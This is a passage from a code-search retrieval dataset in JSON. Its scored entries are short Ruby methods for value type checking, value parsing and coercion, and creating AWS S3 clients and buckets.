"text": "def value_type_check(value)\n if value.nil?\n return value\n end\n\n case( @type )\n when 'Integer' then\n if not @value.nil?\n if not ((value.class.eql? Integer) or\n (value.class.eql? Fixnum))\n raise \"Parameter:'#{@name}' type:'Integer' but value type to override \" \\\n \"is:'#{value.class}'.\"\n end\n end\n when 'Float' then\n if not @value.nil?\n if not value.class.eql? Float\n if not ((value.class.eql? Integer) or\n (value.class.eql? Fixnum))\n raise(\"Parameter:'#{@name}' type:'Float' but value type to override \" \\\n \"is:'#{value.class}'.\")\n else\n return value.to_f\n end\n end\n end\n when 'String' then\n when 'Path' then\n # TODO(kolman): Override the type check with regexp of path in Linux and/or Windows\n if not @value.nil?\n if not value.class.eql? String\n raise(\"Parameter:'#{@name}' type:'String' but value type to override \" \\\n \"is:'#{value.class}'.\")\n end\n end\n when 'Boolean' then\n if not @value.nil?\n if not((value.class.eql? TrueClass) or (value.class.eql? FalseClass))\n raise(\"Parameter:'#{@name}' type:'Boolean' but value type to override \" \\\n \"is:'#{value.class}'.\")\n end\n end\n when 'Complex' then\n unless @value.nil?\n unless (value.class.eql? Hash) or (value.class.eql? Array)\n raise(\"Parameter:'#{@name}' type:'Complex' but value type to override \" \\\n \"is:'#{value.class}'.\")\n end\n end\n else\n raise(\"Parameter:'#{@name}' type:'#{@value.class}' but parameter \" \\\n \"type to override:'#{value.class}' is not supported. \" + \\\n \"Supported types are:Integer, Float, String or Boolean.\")\n end\n return value\n end",
"title": ""
},
{
"docid": "7ba9f810fe7ee8f0e7bdddc51d558be9",
"score": "0.5787363",
"text": "def preprocess(value)\n value\n end",
"title": ""
},
{
"docid": "c7f21fe3e8ad9e292bf32d05df449e64",
"score": "0.57846165",
"text": "def convert_value(value, cmd, opt)\n if value\n if opt.type == String\n if opt.allowed.any?\n !puts(\"Error: invalid string value '#{value}'!\".colorize(:red)) && !puts(cmd.help) and\n exit if !opt.allowed.key?(value) && !opt.allowed.key?(value.to_sym)\n end\n elsif opt.type == Integer\n value = value.to_i\n if opt.allowed.any?\n !puts(\"Error: invalid integer value '#{value}'!\".colorize(:red)) && !puts(cmd.help) and\n exit if !opt.allowed.key?(value)\n end\n elsif opt.type == Array\n value = value.split(',')\n if opt.allowed.any?\n value.each{|x|\n !puts(\"Error: invalid array value '#{x}'!\".colorize(:red)) && !puts(cmd.help) and\n exit if !opt.allowed.key?(x) && !opt.allowed.key?(x.to_sym)\n }\n end\n end\n end\n\n return value\n end",
"title": ""
},
{
"docid": "ce56b6fef881c8eca36743288eaaaace",
"score": "0.5784235",
"text": "def check\n @message = \"#{@value}\"\n @value\n end",
"title": ""
},
{
"docid": "52baaadfd6f79a3432723fc6792ce978",
"score": "0.5783149",
"text": "def set_value\n #set the value of this vote.\n\n yes = self.text.match(/YES/i)\n no = self.text.match(/NO/i)\n if yes && no\n if yes.begin(0) < no.begin(0)\n no = nil\n else\n yes = nil\n end\n end\n if yes\n self.value = 1\n elsif no\n self.value = 0\n else\n self.value = nil\n end\n end",
"title": ""
},
{
"docid": "e92b4c1ccf3d46f7dfc06def62655e50",
"score": "0.57805216",
"text": "def value?(value)\n return self.value == value\n end",
"title": ""
},
{
"docid": "e9fac8a78a558b5555853cfe171240b0",
"score": "0.57771695",
"text": "def value!\n @value_ ||= value\n end",
"title": ""
},
{
"docid": "7afb21fd7cdf96f87f25c4bed7ca2b8b",
"score": "0.57589847",
"text": "def safe_value(value)\n # Allows the user to specify the value as a hash option without marking it as safe.\n if value.is_a?(::Hash) && value[:value] && !value[:safe]\n value = value[:value]\n end\n\n if value.is_a?(::Hash) && value[:safe]\n # If the user specifies a safe value, return it as-is.\n (value[:value] || value[:safe]).to_s\n elsif value.nil?\n # If the value is nil, return an empty string.\n ''\n else\n # Otherwise process the value to make it YAML compliant.\n unless value.is_a?(::String) || value.is_a?(::Symbol) || value.is_a?(::Numeric) || value.is_a?(::TrueClass) || value.is_a?(::FalseClass)\n raise ArgumentError, \"'value' must be a value type (string, symbol, number, boolean)\"\n end\n\n if value.is_a?(::String)\n if value =~ /\\A\\s*\\z/m || # Empty or filled with whitespace\n value =~ /\\A\\s/m || # Starts with whitespace\n value =~ /\\s\\z/m || # Ends with whitespace\n value =~ /\\A[+-]?\\d+(\\.\\d*)?\\z/ || # Contains a probable number\n value =~ /\\A0(b[01]*|x[0-9a-f]*)\\z/i # Another probable number in binary or hex format.\n value.inspect\n elsif value =~ /\\A([0-9]*[a-z]|[a-z])([a-z0-9_ .,=-]*[a-z0-9_])*\\z/i\n value\n else\n value.inspect\n end\n else\n value.inspect\n end\n end\n\n end",
"title": ""
},
{
"docid": "04d7b70e9e5290a9286b147c5dad5173",
"score": "0.57510096",
"text": "def parse_value value\n if is_numeric? value\n to_number(value)\n elsif is_boolean? value\n to_boolean(value)\n else\n value\n end\n end",
"title": ""
},
{
"docid": "4ff4d73df8424ccccaaa9140ffdd595f",
"score": "0.57507175",
"text": "def guess(value)\n case value\n when true then switch\n when false then flag\n when Numeric then numeric\n when Array then list\n when String then string\n when Time then time\n when Range then range\n when Regexp then regexp\n else yaml\n end\n end",
"title": ""
},
{
"docid": "134ad092dc47a1a382756bcfeec521e0",
"score": "0.57469034",
"text": "def determine_input(val)\n return val if val\n\n input_by_os\n end",
"title": ""
},
{
"docid": "7e72ab24468ff453c5af55ff62490834",
"score": "0.57438797",
"text": "def __value(v)\n case v\n when 'false'\n false\n when 'true'\n true\n else\n Integer(v) rescue Float(v) rescue v\n end\n end",
"title": ""
},
{
"docid": "692e7d1fa51fc2f32c2df394529dfe1b",
"score": "0.5743683",
"text": "def parse_value(value)\n case value\n when 'nil': nil\n when 'false': false\n when 'true': true\n when value.to_i.to_s: value.to_i\n when value.to_f.to_s: value.to_f\n else\n value\n end\n end",
"title": ""
},
{
"docid": "499b1b80226db4b9e31478421b8760ba",
"score": "0.57433385",
"text": "def lenient_value_coercions; end",
"title": ""
},
{
"docid": "4b84eaae3b84123207fe3f2312208817",
"score": "0.5742637",
"text": "def safe_value\n self.single_quoter_switch(self.value)\n end",
"title": ""
},
{
"docid": "85d73bcfe01949a39661693a7215dc84",
"score": "0.5742183",
"text": "def convert_value(value, type)\n case type\n when 'string'\n value\n when 'Datetime'\n value\n when 'datetime'\n value\n when 'Date'\n value\n when 'integer'\n value.to_i\n when 'number'\n value.to_f\n when 'boolean'\n !!value\n when 'yes/no/maybe'\n value.nil? ? nil : !!value\n when '???' # These should be fixed in the upstream data\n value\n when 'CodeableConcept'\n @id2example[value] || { 'id' => value }\n else\n @id2example[value] ||= { 'id' => value }\n end\n end",
"title": ""
},
{
"docid": "11ff56c9a0a4f773d67a132667eb4080",
"score": "0.57287526",
"text": "def call(value)\n case value\n when *FALSE_VALUES then false\n when *NIL_VALUES then nil\n when Numeric, /\\A[-+]?(0++\\.?0*|0*+\\.?0+)\\z/ then !value.to_f.zero?\n else value.present?\n end\n end",
"title": ""
},
{
"docid": "8976b5bf48b92d93261b373d9de24cc5",
"score": "0.57282007",
"text": "def value(val); @value = val; self; end",
"title": ""
},
{
"docid": "cffb303713d86bc7ae15f08f8d6ded2a",
"score": "0.57273704",
"text": "def val; end",
"title": ""
},
{
"docid": "cffb303713d86bc7ae15f08f8d6ded2a",
"score": "0.57273704",
"text": "def val; end",
"title": ""
},
{
"docid": "0b1eb9dc3e406b9b5122cb8f739b3e0c",
"score": "0.572673",
"text": "def interpret_value(value)\n case value\n when Array then value.rand\n when Range then value_in_range(value)\n else value\n end\n end",
"title": ""
},
{
"docid": "cdcfb769cc832f4857cb761e93537140",
"score": "0.5726335",
"text": "def cast_value(value); end",
"title": ""
},
{
"docid": "cdcfb769cc832f4857cb761e93537140",
"score": "0.5726335",
"text": "def cast_value(value); end",
"title": ""
},
{
"docid": "612bf7461bd854a12ea62b656dec2543",
"score": "0.57263166",
"text": "def findValue(value)\n case value\n when /^[0-9]+$/\n @@symbolRegexp[:integer]\n when /^[A-Za-z]+[A-Za-z\\d_]*$/\n @@symbolRegexp[:identifier]\n else\n '???'\n end\n\n end",
"title": ""
},
{
"docid": "0b1eb9dc3e406b9b5122cb8f739b3e0c",
"score": "0.572462",
"text": "def interpret_value(value)\n case value\n when Array then value.rand\n when Range then value_in_range(value)\n else value\n end\n end",
"title": ""
},
{
"docid": "97437a1d4ae17f33a397f87c9fa43798",
"score": "0.5721392",
"text": "def is_effective?(value)\n @single_value == value\n end",
"title": ""
}
] |
5ce9674b9968975c4d3834c45a4b845f | The name of the parameter, with the resource included, suitable for use in a function signature. | [
{
"docid": "27636349a0759c7a4e3ce535a34790e9",
"score": "0.0",
"text": "def name\n [@resource_name, @name].compact.join(\"_\")\n end",
"title": ""
}
] | [
{
"docid": "e53574f466eb834cbdb96c0899386daa",
"score": "0.8015689",
"text": "def name(param)\n return param\n end",
"title": ""
},
{
"docid": "b290cb6cd5ef1f9dd9193602afd494ac",
"score": "0.76019865",
"text": "def param_name; end",
"title": ""
},
{
"docid": "9705974cc9cfcc4e73b0717a43960c15",
"score": "0.7519816",
"text": "def param_name\n @param_name.respond_to?(:call) ? @param_name.call : @param_name\n end",
"title": ""
},
{
"docid": "9705974cc9cfcc4e73b0717a43960c15",
"score": "0.7519816",
"text": "def param_name\n @param_name.respond_to?(:call) ? @param_name.call : @param_name\n end",
"title": ""
},
{
"docid": "0aa34255c16b612a78fdda282d5775c6",
"score": "0.7500043",
"text": "def parameter_name\n singular_name\n end",
"title": ""
},
{
"docid": "03be17efdc85573e1b43607bf49d8e41",
"score": "0.7476429",
"text": "def resource_param_name\n @resource_param_name ||= resource_class.model_name.param_key\n end",
"title": ""
},
{
"docid": "e841f2e597ae062ecb9c3ad07313eb7a",
"score": "0.7367316",
"text": "def name\n @parameters.map do |parameter|\n if parameter.resource_name\n parameter.name\n else\n \"#{@resource_name}_#{parameter.name}\"\n end\n end.join('_or_')\n end",
"title": ""
},
{
"docid": "d1789814bb750e5c31d3176a02ed9d82",
"score": "0.7297733",
"text": "def parameter_name(param)\n param = param.to_s.downcase.to_sym\n if param == :name and n = namevar\n param = namevar\n end\n param\n end",
"title": ""
},
{
"docid": "86588d9be95352391b07bf888dd6804c",
"score": "0.7105985",
"text": "def to_param\r\n name\r\n end",
"title": ""
},
{
"docid": "86588d9be95352391b07bf888dd6804c",
"score": "0.7105985",
"text": "def to_param\r\n name\r\n end",
"title": ""
},
{
"docid": "987ab8391eb246ed7a77f8afdbd3bf35",
"score": "0.70942706",
"text": "def to_param\n name\n end",
"title": ""
},
{
"docid": "17b177270a40231f6cce043dbc7c7006",
"score": "0.7050578",
"text": "def to_param\n name\n end",
"title": ""
},
{
"docid": "17b177270a40231f6cce043dbc7c7006",
"score": "0.7050578",
"text": "def to_param\n name\n end",
"title": ""
},
{
"docid": "17b177270a40231f6cce043dbc7c7006",
"score": "0.7050578",
"text": "def to_param\n name\n end",
"title": ""
},
{
"docid": "17b177270a40231f6cce043dbc7c7006",
"score": "0.7050578",
"text": "def to_param\n name\n end",
"title": ""
},
{
"docid": "e4d63a839f135bd555d2dfeb75141c7d",
"score": "0.7050531",
"text": "def to_param\n\t name\n\t end",
"title": ""
},
{
"docid": "ec20abd485abd8db0a40da415178ee23",
"score": "0.7044095",
"text": "def to_param\n name\n end",
"title": ""
},
{
"docid": "8c9f8769a64764a998762b32d3578dd3",
"score": "0.702868",
"text": "def param_name\n config.param_name.respond_to?(:call) ? config.param_name.call() : config.param_name \n end",
"title": ""
},
{
"docid": "f84d3d232ebd20814ce412002f1d11e2",
"score": "0.70129323",
"text": "def parameter_type_name; end",
"title": ""
},
{
"docid": "9c2c5776f4fbfb5df3f4fe776b63e42d",
"score": "0.6990973",
"text": "def param\n raise \"Must give parameter name\"\n end",
"title": ""
},
{
"docid": "ded2af5f2718517810c6671dedb5c4be",
"score": "0.69735605",
"text": "def config_param_name\n \"#{self.call_name}.#{self.parameter_name}\"\n end",
"title": ""
},
{
"docid": "fd33fc072c27a6785d8ae32d5fc6baa0",
"score": "0.69662744",
"text": "def name\n resource[:name]\n end",
"title": ""
},
{
"docid": "07fd2a288d37b307e7ba93b999db7f29",
"score": "0.6912347",
"text": "def to_param\n return self.name.to_s\n end",
"title": ""
},
{
"docid": "aaa6afc15db18567b0ff7463db2e53db",
"score": "0.6908608",
"text": "def param_attribute\n representative_resource.singularize\n end",
"title": ""
},
{
"docid": "1749f9fe10a5e5f442c22881d1569afc",
"score": "0.68354386",
"text": "def name\n statement.parameters.first.jump(:string_content, :ident).source\n end",
"title": ""
},
{
"docid": "1749f9fe10a5e5f442c22881d1569afc",
"score": "0.68354386",
"text": "def name\n statement.parameters.first.jump(:string_content, :ident).source\n end",
"title": ""
},
{
"docid": "048be1c5c2ff25741383f4ac6c270433",
"score": "0.6827484",
"text": "def param(type, title, param) \n catalogue.resource(type, title).send(:parameters)[param.to_sym]\n end",
"title": ""
},
{
"docid": "0ed1c42b5a4af0b6f8ad2db631cbc33a",
"score": "0.6822437",
"text": "def KwRestParam(name); end",
"title": ""
},
{
"docid": "d9593f7f5deb0761684cabec31348c2c",
"score": "0.6814115",
"text": "def parameter(name)\n @parameters[name.to_sym]\n end",
"title": ""
},
{
"docid": "9bc407e51e0bb69733cf37b36cdc4808",
"score": "0.6789727",
"text": "def param( name )\n @params[ name ]\n end",
"title": ""
},
{
"docid": "d69d58c797160b57f227ebc99932cf19",
"score": "0.6777432",
"text": "def var_name_for_resource(resource)\n \"@#{ resource.underscore }\"\n end",
"title": ""
},
{
"docid": "c96352daf20ba08207b607fc6643cf29",
"score": "0.677447",
"text": "def resource_name\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "0400e9ee0dcdcd9bebc5564be57ff775",
"score": "0.6771998",
"text": "def RestParam(name); end",
"title": ""
},
{
"docid": "d812e13c77be6cd380a56ef8a3d3087f",
"score": "0.676714",
"text": "def argument_name; end",
"title": ""
},
{
"docid": "d812e13c77be6cd380a56ef8a3d3087f",
"score": "0.676714",
"text": "def argument_name; end",
"title": ""
},
{
"docid": "d812e13c77be6cd380a56ef8a3d3087f",
"score": "0.676714",
"text": "def argument_name; end",
"title": ""
},
{
"docid": "d812e13c77be6cd380a56ef8a3d3087f",
"score": "0.676714",
"text": "def argument_name; end",
"title": ""
},
{
"docid": "d812e13c77be6cd380a56ef8a3d3087f",
"score": "0.676714",
"text": "def argument_name; end",
"title": ""
},
{
"docid": "9576a7effd3c52c007615719a2547ee3",
"score": "0.67569655",
"text": "def to_param\n name\n end",
"title": ""
},
{
"docid": "9576a7effd3c52c007615719a2547ee3",
"score": "0.67569655",
"text": "def to_param\n name\n end",
"title": ""
},
{
"docid": "9576a7effd3c52c007615719a2547ee3",
"score": "0.67569655",
"text": "def to_param\n name\n end",
"title": ""
},
{
"docid": "9576a7effd3c52c007615719a2547ee3",
"score": "0.67569655",
"text": "def to_param\n name\n end",
"title": ""
},
{
"docid": "9576a7effd3c52c007615719a2547ee3",
"score": "0.67569655",
"text": "def to_param\n name\n end",
"title": ""
},
{
"docid": "9576a7effd3c52c007615719a2547ee3",
"score": "0.67569655",
"text": "def to_param\n name\n end",
"title": ""
},
{
"docid": "9576a7effd3c52c007615719a2547ee3",
"score": "0.67569655",
"text": "def to_param\n name\n end",
"title": ""
},
{
"docid": "9576a7effd3c52c007615719a2547ee3",
"score": "0.67569655",
"text": "def to_param\n name\n end",
"title": ""
},
{
"docid": "9576a7effd3c52c007615719a2547ee3",
"score": "0.67569655",
"text": "def to_param\n name\n end",
"title": ""
},
{
"docid": "9576a7effd3c52c007615719a2547ee3",
"score": "0.67569655",
"text": "def to_param\n name\n end",
"title": ""
},
{
"docid": "9576a7effd3c52c007615719a2547ee3",
"score": "0.67569655",
"text": "def to_param\n name\n end",
"title": ""
},
{
"docid": "9576a7effd3c52c007615719a2547ee3",
"score": "0.67569655",
"text": "def to_param\n name\n end",
"title": ""
},
{
"docid": "9576a7effd3c52c007615719a2547ee3",
"score": "0.67569655",
"text": "def to_param\n name\n end",
"title": ""
},
{
"docid": "9576a7effd3c52c007615719a2547ee3",
"score": "0.67569655",
"text": "def to_param\n name\n end",
"title": ""
},
{
"docid": "9576a7effd3c52c007615719a2547ee3",
"score": "0.67569655",
"text": "def to_param\n name\n end",
"title": ""
},
{
"docid": "9576a7effd3c52c007615719a2547ee3",
"score": "0.67569655",
"text": "def to_param\n name\n end",
"title": ""
},
{
"docid": "9576a7effd3c52c007615719a2547ee3",
"score": "0.67569655",
"text": "def to_param\n name\n end",
"title": ""
},
{
"docid": "9576a7effd3c52c007615719a2547ee3",
"score": "0.67569655",
"text": "def to_param\n name\n end",
"title": ""
},
{
"docid": "9576a7effd3c52c007615719a2547ee3",
"score": "0.67569655",
"text": "def to_param\n name\n end",
"title": ""
},
{
"docid": "9576a7effd3c52c007615719a2547ee3",
"score": "0.67569655",
"text": "def to_param\n name\n end",
"title": ""
},
{
"docid": "9576a7effd3c52c007615719a2547ee3",
"score": "0.67569655",
"text": "def to_param\n name\n end",
"title": ""
},
{
"docid": "9576a7effd3c52c007615719a2547ee3",
"score": "0.67569655",
"text": "def to_param\n name\n end",
"title": ""
},
{
"docid": "9576a7effd3c52c007615719a2547ee3",
"score": "0.67569655",
"text": "def to_param\n name\n end",
"title": ""
},
{
"docid": "9576a7effd3c52c007615719a2547ee3",
"score": "0.67569655",
"text": "def to_param\n name\n end",
"title": ""
},
{
"docid": "9576a7effd3c52c007615719a2547ee3",
"score": "0.67569655",
"text": "def to_param\n name\n end",
"title": ""
},
{
"docid": "2e0371d88acca25236e4c6db9de96c18",
"score": "0.6756048",
"text": "def describe_param(name)\n get_param(name).description\n end",
"title": ""
},
{
"docid": "f8532a312ba6eebb0862509c04727db3",
"score": "0.67209935",
"text": "def resource_name\n { resource_name: resource_identifier }\n end",
"title": ""
},
{
"docid": "4334f41d9a6d564fa0055fab9b019c0c",
"score": "0.6715949",
"text": "def resource_name\n name.underscore.to_sym\n end",
"title": ""
},
{
"docid": "5c2ea7afbca0d2a8e1955d22c57f381d",
"score": "0.66950226",
"text": "def to_param\n return self.name\n end",
"title": ""
},
{
"docid": "8956aa15a8f6e827642e16e1fc3115dc",
"score": "0.6682666",
"text": "def to_param\n shortname\n end",
"title": ""
},
{
"docid": "8956aa15a8f6e827642e16e1fc3115dc",
"score": "0.6682666",
"text": "def to_param\n shortname\n end",
"title": ""
},
{
"docid": "812e610619029d737f8acad192b28d39",
"score": "0.66811913",
"text": "def param(name)\n params[name]\n end",
"title": ""
},
{
"docid": "141a246921c97b30d84c8bd425704d47",
"score": "0.6671206",
"text": "def to_param\n vname\n end",
"title": ""
},
{
"docid": "6f5cbe153b682f7869c29b5fc7185c27",
"score": "0.6666315",
"text": "def describe_param(name)\n get_param(name).description\n end",
"title": ""
},
{
"docid": "573b53b5f2505cb78fdf31b427a6ff63",
"score": "0.6639049",
"text": "def resource_name\n @resource_name ||= (var_name || resource_class.underscore)\n end",
"title": ""
},
{
"docid": "8028582161c49368fba790eee6e30188",
"score": "0.66235834",
"text": "def name=(_arg0); end",
"title": ""
},
{
"docid": "8028582161c49368fba790eee6e30188",
"score": "0.66235834",
"text": "def name=(_arg0); end",
"title": ""
},
{
"docid": "8028582161c49368fba790eee6e30188",
"score": "0.66235834",
"text": "def name=(_arg0); end",
"title": ""
},
{
"docid": "8028582161c49368fba790eee6e30188",
"score": "0.66235834",
"text": "def name=(_arg0); end",
"title": ""
},
{
"docid": "8028582161c49368fba790eee6e30188",
"score": "0.66235834",
"text": "def name=(_arg0); end",
"title": ""
},
{
"docid": "8028582161c49368fba790eee6e30188",
"score": "0.66235834",
"text": "def name=(_arg0); end",
"title": ""
},
{
"docid": "8028582161c49368fba790eee6e30188",
"score": "0.66235834",
"text": "def name=(_arg0); end",
"title": ""
},
{
"docid": "8028582161c49368fba790eee6e30188",
"score": "0.66235834",
"text": "def name=(_arg0); end",
"title": ""
},
{
"docid": "8028582161c49368fba790eee6e30188",
"score": "0.66235834",
"text": "def name=(_arg0); end",
"title": ""
},
{
"docid": "8028582161c49368fba790eee6e30188",
"score": "0.66235834",
"text": "def name=(_arg0); end",
"title": ""
},
{
"docid": "8028582161c49368fba790eee6e30188",
"score": "0.66235834",
"text": "def name=(_arg0); end",
"title": ""
},
{
"docid": "8028582161c49368fba790eee6e30188",
"score": "0.66235834",
"text": "def name=(_arg0); end",
"title": ""
},
{
"docid": "8028582161c49368fba790eee6e30188",
"score": "0.66235834",
"text": "def name=(_arg0); end",
"title": ""
},
{
"docid": "8028582161c49368fba790eee6e30188",
"score": "0.66235834",
"text": "def name=(_arg0); end",
"title": ""
},
{
"docid": "8028582161c49368fba790eee6e30188",
"score": "0.66235834",
"text": "def name=(_arg0); end",
"title": ""
},
{
"docid": "8028582161c49368fba790eee6e30188",
"score": "0.66235834",
"text": "def name=(_arg0); end",
"title": ""
},
{
"docid": "8028582161c49368fba790eee6e30188",
"score": "0.66235834",
"text": "def name=(_arg0); end",
"title": ""
},
{
"docid": "8028582161c49368fba790eee6e30188",
"score": "0.66235834",
"text": "def name=(_arg0); end",
"title": ""
},
{
"docid": "8028582161c49368fba790eee6e30188",
"score": "0.66235834",
"text": "def name=(_arg0); end",
"title": ""
},
{
"docid": "8028582161c49368fba790eee6e30188",
"score": "0.66235834",
"text": "def name=(_arg0); end",
"title": ""
},
{
"docid": "8028582161c49368fba790eee6e30188",
"score": "0.66235834",
"text": "def name=(_arg0); end",
"title": ""
},
{
"docid": "8028582161c49368fba790eee6e30188",
"score": "0.66235834",
"text": "def name=(_arg0); end",
"title": ""
},
{
"docid": "8028582161c49368fba790eee6e30188",
"score": "0.66235834",
"text": "def name=(_arg0); end",
"title": ""
},
{
"docid": "8028582161c49368fba790eee6e30188",
"score": "0.66235834",
"text": "def name=(_arg0); end",
"title": ""
},
{
"docid": "8028582161c49368fba790eee6e30188",
"score": "0.66235834",
"text": "def name=(_arg0); end",
"title": ""
},
{
"docid": "8028582161c49368fba790eee6e30188",
"score": "0.66235834",
"text": "def name=(_arg0); end",
"title": ""
},
{
"docid": "8028582161c49368fba790eee6e30188",
"score": "0.66235834",
"text": "def name=(_arg0); end",
"title": ""
},
{
"docid": "8028582161c49368fba790eee6e30188",
"score": "0.66235834",
"text": "def name=(_arg0); end",
"title": ""
}
] |
06686ced10690cf39004ce66ece9f2cb | Creates the S3Helper objects | [
{
"docid": "8c6cda04772c061fc5563c796f5ab33d",
"score": "0.0",
"text": "def initialize(bucket, options = {})\n raise BlankBucketException.new unless bucket\n @options = options\n\n connect!(bucket)\n end",
"title": ""
}
] | [
{
"docid": "faca202604ef453721ed56aff2a45b80",
"score": "0.720363",
"text": "def aws_instance_S3_files_create\n bucket = aws_call('aws_S3_bucket_get', name: Rails.configuration.x.aws['s3_bucket_name'])\n if not aws_call('aws_obj_exists?', obj: bucket)\n log \"AWS: creating S3 Bucket '#{Rails.configuration.x.aws['s3_bucket_name']}'\"\n bucekt = aws_call('aws_S3_bucket_create', name: Rails.configuration.x.aws['s3_bucket_name'])\n end\n\n aws_instance_S3_object_create(bucket, 'exit_status', :exit_status_page, :write)\n aws_instance_S3_object_create(bucket, 'script_log', :script_log_page, :write)\n aws_instance_S3_object_create(bucket, 'bash_history', :bash_history_page, :write)\n\n obj = aws_instance_S3_object_create(bucket, 'com', :com_page, :write)\n log \"AWS: writing to S3Object '#{obj.key}'\"\n aws_call('aws_S3_object_write', obj: obj, data: 'waiting')\n\n obj = aws_instance_S3_object_create(bucket, 'cookbook', :cookbook_url, :read)\n log \"AWS: writing to S3Object '#{obj.key}'\"\n aws_call('aws_S3_object_write', obj: obj, data: self.generate_cookbook)\n end",
"title": ""
},
{
"docid": "62fb05462c9e3d8ca697465400ffe025",
"score": "0.68147314",
"text": "def initialize \n @s3 = Aws::S3::Resource.new(region: 'us-east-1', access_key_id: Rails.application.credentials.dig(:aws, :access_key_id), secret_access_key: Rails.application.credentials.dig(:aws, :secret_access_key))\n @date_time = Time.new \n @file_names = []\n @downloads = []\n @sorted_downloads\n end",
"title": ""
},
{
"docid": "fb767a75c3b3ad7a9a848dafc3ca3939",
"score": "0.6444201",
"text": "def s3_start\n\t\t@s3 = AWS::S3.new\n\tend",
"title": ""
},
{
"docid": "b275445308e73dde305be9bbfcf2f7c6",
"score": "0.6357475",
"text": "def initialize aws_access_key_id, aws_secret_access_key\n require 'right_aws'\n @s3 = RightAws::S3.new(aws_access_key_id, aws_secret_access_key)\n end",
"title": ""
},
{
"docid": "aa4802e7c1f600bb6b758bb142dfd969",
"score": "0.6245551",
"text": "def configure_s3_bucket\n connection = Fog::Storage.new(:provider => 'AWS',\n :aws_access_key_id => Constants::S3_ACCESS_KEY_ID,\n :aws_secret_access_key => Constants::S3_SECRET_ACCESS_KEY)\n\n connection.directories.create(:key => Constants::S3_BUCKET_NAME,\n :public => true)\n end",
"title": ""
},
{
"docid": "3ce383f248db4814fac3143019ccdab0",
"score": "0.62391144",
"text": "def initialize(s3_keys, bucket)\n @s3_keys = s3_keys\n @bucket = bucket\n end",
"title": ""
},
{
"docid": "da8eec9434a4805852721e76db41a40b",
"score": "0.6222833",
"text": "def s3_manager_obj\n @s3_manager_obj ||= Aws::S3Manager.new('kyc', 'admin')\n end",
"title": ""
},
{
"docid": "5840a91c0555d4332bc97c49432ae174",
"score": "0.6166409",
"text": "def initialize(access_key, secret_key, settings = {})\n @logger = settings[:logger] || Logger.new(STDOUT)\n @s3 = RightAws::S3Interface.new(access_key, secret_key, logger: @logger)\n @size_for_multipart = (settings[:size_for_multipart] || 100) * 1024 * 1024 # megabytes\n @part_size = (settings[:part_size] || 50) * 1024 * 1024 # megabytes\n end",
"title": ""
},
{
"docid": "ed2836794d482c4b6c1b119015745678",
"score": "0.61419976",
"text": "def connect_to_s3()\n\n Aws::S3::Client.new(\n access_key_id: ENV['S3_KEY'],\n secret_access_key: ENV['S3_SECRET'],\n region: ENV['AWS_REGION'],\n force_path_style: ENV['PATH_STYLE']\n )\n \nend",
"title": ""
},
{
"docid": "b417cc02cf49ff842145f1e366d51f4b",
"score": "0.6141124",
"text": "def initialize(data_source, *opts)\n @data_source = data_source\n @s3_bucket = AWS::S3.new.buckets[@data_source.s3_path[/s3:\\/\\/([\\w-]+)\\//,1]]\n @s3_obj = @s3_bucket.objects[@data_source.s3_path[/s3:\\/\\/[\\w-]+\\/(.*)/,1]]\n end",
"title": ""
},
{
"docid": "faa5b3b7ba317b1eaaaae6e6edc92899",
"score": "0.61233264",
"text": "def initialize(opts={})\n opts = {:bucket_name=>'marpa-foundation', :import_directory=>\"import\"}.merge(opts)\n @bucket_name = opts[:bucket_name]\n @import_directory = opts[:import_directory]\n\n # Set up the connection to S3 if it has not already been established\n s3keys = YAML.load(File.open(File.join(RAILS_ROOT,\"config\",\"s3.yml\")))\n begin\n AWS::S3::Base.connection\n rescue AWS::S3::NoConnectionEstablished\n AWS::S3::Base.establish_connection!(\n :access_key_id => s3keys[\"default\"][\"access_key_id\"],\n :secret_access_key => s3keys[\"default\"]['secret_access_key']\n )\n end\n @account_id = AWS::S3::Base.connection.access_key_id\n @bucket = AWS::S3::Bucket.find(@bucket_name)\n end",
"title": ""
},
{
"docid": "a6afc1e2c722225b3a4972127cdb1feb",
"score": "0.6117035",
"text": "def initialize\n @s3_client = Aws::S3::Client.new(region: AWS_REGION)\n @s3_resource = Aws::S3::Resource.new(\n @s3_client,\n region: @s3_client.config.region\n )\n end",
"title": ""
},
{
"docid": "9b512186e73a8f3464827ae352d4b18e",
"score": "0.6111621",
"text": "def initialize(opts={})\n \n @root_path = opts[:root_path] || \"/\"\n \n @s3_region = opts[:s3_region] || ENV['S3_REGION']\n @aws_bucket_name = opts[:aws_bucket_name] || ENV['AWS_BUCKET']\n @aws_access_key_id = opts[:aws_access_key_id] || ENV['AWS_ACCESS_KEY_ID']\n @aws_secret_access_key = opts[:aws_secret_access_key] || ENV['AWS_SECRET_ACCESS_KEY']\n \n if valid?\n update_aws_config\n setup_bucket\n end\n \n end",
"title": ""
},
{
"docid": "401610cfd9384caaa10fdc36d9efd7da",
"score": "0.60978025",
"text": "def s3_client\n @s3_client ||= AWS::S3.new(aws_credentials)\n end",
"title": ""
},
{
"docid": "912cda96b115d483e6970efa1fd8f2a0",
"score": "0.6089214",
"text": "def s3_client\n @s3 ||= Aws::S3::Client.new\n end",
"title": ""
},
{
"docid": "20812895da614b3fbd190ff653eb7124",
"score": "0.6078355",
"text": "def initialize(*args)\n raise '$DOCSTORE_SDB_DOMAIN not set' if Rails.configuration.sdb_domain.blank?\n self.class.set_domain_name Rails.configuration.sdb_domain\n\n raise '$DOCSTORE_S3_BUCKET_ID not set' if Rails.configuration.s3_bucket_id.blank?\n @sobjects = AWS::S3.new.buckets[Rails.configuration.s3_bucket_id].objects\n\n super\n end",
"title": ""
},
{
"docid": "5f8b5c2d64640cde808596305aecd7fc",
"score": "0.60571736",
"text": "def initialize(s3, bucket_name, creation_date)\n @s3 = s3\n @name = bucket_name\n @creation_date = creation_date\n\n @cache = {}\n end",
"title": ""
},
{
"docid": "b105d5792f659018296f931aac48111d",
"score": "0.6042732",
"text": "def quick_s3_upload\n end",
"title": ""
},
{
"docid": "35326f8badd94e25c26e0f5ee29c8f1e",
"score": "0.60342056",
"text": "def setup_bucket\n @bucket = Aws::S3::Resource.new(region: @s3_region).bucket(@aws_bucket_name)\n end",
"title": ""
},
{
"docid": "072cdf934932ea5cc24cb5482a648405",
"score": "0.60193217",
"text": "def s3_client\n @s3_client ||= Aws::S3::Client.new(\n access_key_id: @access_key_id,\n secret_access_key: @secret_access_key,\n region: @region\n )\n end",
"title": ""
},
{
"docid": "a859fba4932f82666640034ba9534728",
"score": "0.5978204",
"text": "def s3\n @s3 ||= ::AWS::S3.new(region: 'us-east-1')\n end",
"title": ""
},
